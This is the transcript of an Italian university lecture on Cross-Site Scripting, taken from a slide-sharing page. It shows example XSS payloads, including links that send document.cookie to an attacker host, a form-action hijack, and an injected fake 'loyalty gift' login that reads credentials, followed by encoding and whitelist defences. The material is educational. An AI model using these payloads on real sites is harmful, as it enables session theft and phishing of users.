UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della.

Slides:



Advertisements
Presentazioni simili
OWASP e le 10 vulnerabilità più critiche delle applicazioni Web
Advertisements

Active Server Pages ed ADO. Scrivere ASP Le pagine ASP possono contenere codice HTML o XML Le parti del documento che racchiudono codice script vanno.
Linux examples of Buffer overflow attacks
Scrivere codice sicuro
3 ottobre 2000Consiglio Nazionale delle Ricerche Progetto Biblio MIME 1 Consiglio Nazionale delle Ricerche Area di Ricerca di Bologna Istituto per le Applicazioni.
Gli ipertesti del World Wide Web Funzionamento e tecniche di realizzazione a cura di Loris Tissìno (
Università degli Studi G. DAnnunzio (Chieti – Pescara) Dipartimento di Scienze Storia dellinformatica Laurea in Economia Informatica Stefano Bistarelli.
CORSO DI SICUREZZA SU RETI II PROF. A. DE SANTIS ANNO 2006/07 Informatica granata Gruppo 2 ISP Gruppo 3 ISP.
Corso di Fondamenti di Informatica
JavaScript 1. Per cominciare.
Unità D2 Database nel web. Obiettivi Comprendere il concetto di interfaccia utente Comprendere la struttura e i livelli che compongono unapplicazione.
(Appunti da Scott Mitchell, James Atkinsons - Active Server Pages 3.0 – ed. Apogeo) Le pagine ASP.
INTERNET : ARPA sviluppa ARPANET (rete di computer per scopi militari)
IL LINGUAGGIO HTML Il linguaggio html. Il linguaggio html. Utilizzo dei tag. Utilizzo dei tag. Script Browser I link I link Caricamento dei dati sul server.
Mantenimento dello stato Laboratorio Progettazione Web AA 2009/2010 Chiara Renso ISTI- CNR -
Connessione con MySQL.
UNIVERSITA’ DEGLI STUDI DI MODENA E REGGIO EMILIA
Java2 Esercitazioni del corso di Sistemi Informativi Marina Mongiello
ING. CARLO MANFUCCI COMUNE DI GROSSETO
Internet e Web Dinamico
1 Università della Tuscia - Facoltà di Scienze Politiche.Informatica 2 - a.a Prof. Francesco Donini Active Server Pages.
1 Basi di dati e Web Prof. Stefano Paraboschi Prof. Barbara Pernici.
Architettura del World Wide Web
CORSO DI INFORMATICA LAUREA TRIENNALE-COMUNICAZIONE & DAMS
PHP – Un’introduzione Linguaggi e Traduttori 2003 Facoltà di Economia
INFORMATICA E TECNOLOGIA DELLA COMUNICAZIONE IN RETE MODULO 2
23 novembre 2000IAT-CNR Progetto Biblio MIME 1 Consiglio Nazionale delle Ricerche Area di Ricerca di Bologna Istituto per le Applicazioni Telematiche di.
4 Cosa è una rete? ã Punto di vista logico: sistema di dati ed utenti distribuito ã Punto di vista fisico: insieme di hardware, collegamenti, e protocolli.
Introduzione ad ASP.net
Realizzazione siti web Pagine web dinamiche - javascript.
Corso di PHP.
1 Internet e nuove tecnologie Anno Accademico Prof. Flavio De Paoli Dott. Marco Loregian.
Ing. Enrico Lecchini BetaTre S.r.l.
Corso di Informatica per Giurisprudenza Lezione 7
Come funziona il PHP.
Tecnologie Web Studente : Francesco Guerriero Matricola Docente : Montella Raffaele iUI : Interface Framework utente Per lo sviluppo.
Corso Drupal 2013 Andrea Dori
Elaborazioni server-side: dalle CGI al PHP
Basi di Dati e Sistemi Informativi
Sistemi Informativi sul Web
Creare pagine web Xhtlm. Struttura di una pagina.
Common Gateway Interface. Dynamic HTML le risposte inviate al client sono (parzialmente o totalmente) create on-the-fly (al volo) dopo aver ricevuto il.
Il World Wide Web Lidea innovativa del WWW è che esso combina tre importanti e ben definite tecnologie informatiche: Documenti di tipo Ipertesto. Sono.
SIBA Days 2009 – III Edizione Il Servizio di accesso remoto alle risorse informative elettroniche Domenico Lucarella Coordinamento SIBA Università del.
BIOINFO3 - Lezione 111 CGI-BIN CGI-BIN sono chiamati i programmi la cui esecuzione può essere richiesta attraverso il WEB. Il server web (httpd) della.
BIOINFO3 - Lezione 301 CGI-BIN Abbiamo visto che CGI-BIN sono chiamati i programmi la cui esecuzione può essere richiesta attraverso il WEB. In particolare.
ASP – Active Server Pages - 1 -Giuseppe De Pietro Introduzione ASP, acronimo di Active Server Pages, sta ad indicare una tecnologia per lo sviluppo di.
Applicazione Web Informatica Abacus Informatica Classe VIA 2008/2009 N.Ceccon INF (01) Revisione 4.0 settembre 2008.
ASP – Active Server Pages Introduzione Pagine Web Statiche & Dinamiche(ASP)
1 Applicazione per la gestione dei progetti di “Laboratorio e Tecnologie Web” Ilaria Iannantuono.
Web Information Systems Prof
INTRODUZIONE A JAVASCRIPT
Web Form Presentazione 2.3 Comunicazione integrata in rete| Prof. Luca A. Ludovico.
Lezione 8.
Google Auth Mechanism Emanuel Di Nardo m.
Pagine ASP parte 1 Introduzione Stefano Schacherl.
Protocolli e architetture per WIS. Web Information Systems (WIS) Un Web Information System (WIS) usa le tecnologie Web per permettere la fruizione di.
Creato da Riccardo Nuzzone
Laboratorio 4: PHP e MySQL
Eprogram informatica V anno. ASP.NET Introduzione ASP.NET (Active Server Page) è il linguaggio che, sfruttando la tecnologia.NET, permette di: -scrivere.
Sicurezza II, A.A. 2011/2012 OpenID Speaker: André Panisson, PhD student Università degli Studi di Torino, Computer Science Department Corso Svizzera,
Dal click alla pagina web... Centro di Calcolo Corso Internet 22 Novembre 1996 Stefano Bistarelli Università di Chieti-Pescara “G. D’Annunzio” Dipartimento.
Consiglio della Regione Toscana (CRT) Area 4 - Settore tecnologie informatiche e ITIS Meucci Firenze La sfida del web 2.0 : Realizzazione di un portale.
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della.
Eprogram informatica V anno.
PHP.  HTML (Hyper Text Markup Language)  CSS (Cascading Style Sheets)  Javascript (linguaggio di programmazione client)  PHP ( Hypertext Preprocessor.
12 dicembre Analisi di sicurezza dell’applicazione SISS Security Assessment dell’applicativo e Reversing del client.
Università degli Studi di Milano Bicocca Dipartimento di Informatica, Sistemistica e Comunicazione Corso di Strumenti e applicazioni del Web 5. Introduzione.
Eprogram informatica V anno. Programmare in rete.
ASP – Active Server Pages - 1 -Giuseppe Tandoi ASP – Active Server Pages Tecnologia per lo sviluppo di pagine dinamiche.
Transcript della presentazione:

UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Cross Site Scripting Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Università G. dAnnunzio Dipartimento di Scienze, Pescara

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 2 Cos' è il CSS? Una tecnica che consente agli hacker di: Eseguire script dannoso nel browser Web di un client Inserire tag,,, e Rubare informazioni sulla sessione Web e cookie di autenticazione Accedere al computer client Qualsiasi pagina Web che esegue il rendering HTML e contenente input dell'utente è vulnerabile

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 3 A.4: Principi di Cross-Site-Scripting (XSS) [1] Richiesta [2] Risposta Web server App. server DataBase WebApp vulnerabile al XSS Attacker user [4] banca.it/VulnApp.jsp?e= [5] Risposta: pagina voluta dallattaccante eseguita sul browser dellutente [6] Invio di token di autenticazione allattaccante [6] Internet [3] Invio malicious code mascherato da informativa della banca Internet [7] utilizzo del token rubato per autenticarsi al servizio

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 4 A.4: Cross-Site-Scripting (2) GET /welcome.cgi?name= alert(document.cookie) HTTP/1.0 Host: La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dellutente ignaro): Welcome! Hi alert(document.cookie) Welcome to our system...

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 5 A.4: Cross-Site-Scripting (3) Il malicious link può essere: banca.it/welcome.cgi?name= window.open( i?cookie=%2Bdocument.cookie) La risposta del server sarà: Welcome! Hi window.open( Welcome to our system... Redirezione del contenuto del cookie dellutente ignaro verso il server dellattaccante

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 6 Due impieghi comuni del CSS Attaccare le piattaforme di posta elettronica basate sul Web e i forum Utilizzo dei tag HTML per reindirizzare informazioni private

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 7 Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName"))

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 8 Site soggetti a XSS/CSS Vediamo lesempio

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 9 Proviamo.. Iniettiamo codice e vediamo che succede … alert(ciao) alert(document.cookie) Script eseguito sul mio browser … Ma come faccio io attaccante che non sono su macchina del client.. a prendermi il cookie?? …cerco il campo di input … txtname

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 10 E se chiamo la pagina cosi? name= alert('ciao') name= alert('ciao')</script Funziona lo stesso!! Quindi se mando link a Maria e lei clicca esegue sul suo browser (credendo di andare al suo sito) il mio script!!

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 11 Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName"))

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 12 … Ma come faccio io attaccante ad avere le info sul mio sito e non sullo schermo di Maria??

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 13 Attacchi basati su form (2 di 2) idForm.cookie.value=document.cookie; idForm.submit(); > here

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 14 window.onload = function() { document.forms[0].onsubmit = function () { return Hack() } function Hack() { var action=" document.forms[0].action=action;document.forms[0].method="GET"; return true; }

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 15 In generale … Se ho input di questo tipo: ? term = apple search.php responds with: Search Results Results for :...

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 16 Posso usarlo cosi!! ? term = window.open( = + document.cookie ) Se la mia vittima clicca su questo link? Browser va a victim.com/search.php Victim.com restituisce Results for … Browser executes script: Sends badguy.com cookie for victim.com

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 17 So what? Perche un utente dovrebbe cliccare su quel link? Phishing in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking Vedi esempio mail poste.it!!esempio mail poste.it Cosa ci fa badguy.com con il cookie di victim.com ? Puo essere usato per spacciarsi per quellutente per esempio!! (vedi lezione su cookies!!)

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 18 Even worse Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages. Can infect other users: MySpace.com worm.

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 19 Difesa …

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 20 Avoiding XSS bugs (PHP) Main problem: Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) & & " " ' ' > htmlspecialchars( " Test ", ENT_QUOTES); Outputs: <a href='test'>Test</a>

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 21 Avoiding XSS bugs (ASP.NET) ASP.NET 1.1: Server.HtmlEncode(string) Similar to PHP htmlspecialchars validateRequest: (on by default) Crashes page if finds in POST data. Looks for hardcoded list of patterns. Can be disabled:

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 22

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 23 Esercizio lab

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 24 esercizio In this scenario, you have a web application that supports both anonymous and authenticated users, the latter of which are authenticated using ASP.NET Forms logon. The application is a message board which allows any user to post a message that all others can read.

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 25 Giochiamo con lapplicazione 2 utenti registrati (hard coded (no db)) alice – password bob – password Entriamo come alice e inviamo un messaggio NO HTML Ora entriamo come black hat (anonimo) e vediamo se supporta XSS Si!!

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 26 Postiamo questo codice!! Wow, this site has a nasty XSS vulnerability! I wonder if I can see your cookie with this script? Hey, would you post your cookie to my website please? function changePersonality() { var image = document.images[0] if (image.src.match('google')) { // switch back to Fabrikam image.src = 'art/Fabrikam.gif'; } else { // switch to Google image.src = ' }

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 27 Ora immaginiamo.. Che alice entri e veda il codice … Alice non lo sa ma: Attaccante ha controllo completo della pagina (vedi come cambia immagine) Attaccante puo rubare informazioni da alice (o meglio per ora le visualizza e basta, ma potrebbe facilmente reindirizzarle (ricordatevi esempi precedenti) Visualizza cookies

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 28 Difesa Usare htmlencode su testo output! text = Server.HtmlEncode(r.ReadToEnd()); Filtra input // filter the input using a whitelist - look for what is good! string pattern = if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) { string errorMessage = "Your post has one or more disallowed " + "characters (no HTML, please)."; + Server.UrlEncode(errorMessage)); return; } Sembra tutto a posto ora?? E invece no chi sa perchè?

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 29 XSS su error page Error chiamata con un parametro di input!! Proviamo a cambiare input! ciao a tutti funziona!! Posso modificare la pagina come voglio!! Phishing attack!! lab-css\CrossSiteScripting\before\XSSWeb\phishing_ .htm Il link nella pagina porta alla pagina di errore opportunamente modificata!!

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 30 Ecco il messaggio per la pag di errore var html = "Please log in. You will be automatically registered for a free gift!" + " " + "var u, p;" + "function myLogon() {" + "u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" + "p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" + "}" + "function thanks() { " + "var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " + "Oh and by the way, I learned something about you today. " + "Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" + "document.getElementById('ctl00_MainBody_message').innerText=msg;" + "}" + "document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" + "document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" + "document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" + "document.forms[0].action = 'javascript:thanks()';" + " ";

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 31 Fix la pagina error! Su error page Htmlencode input message.Text = Server.HtmlEncode(Request.QueryString["msg"]); Nota su web.config true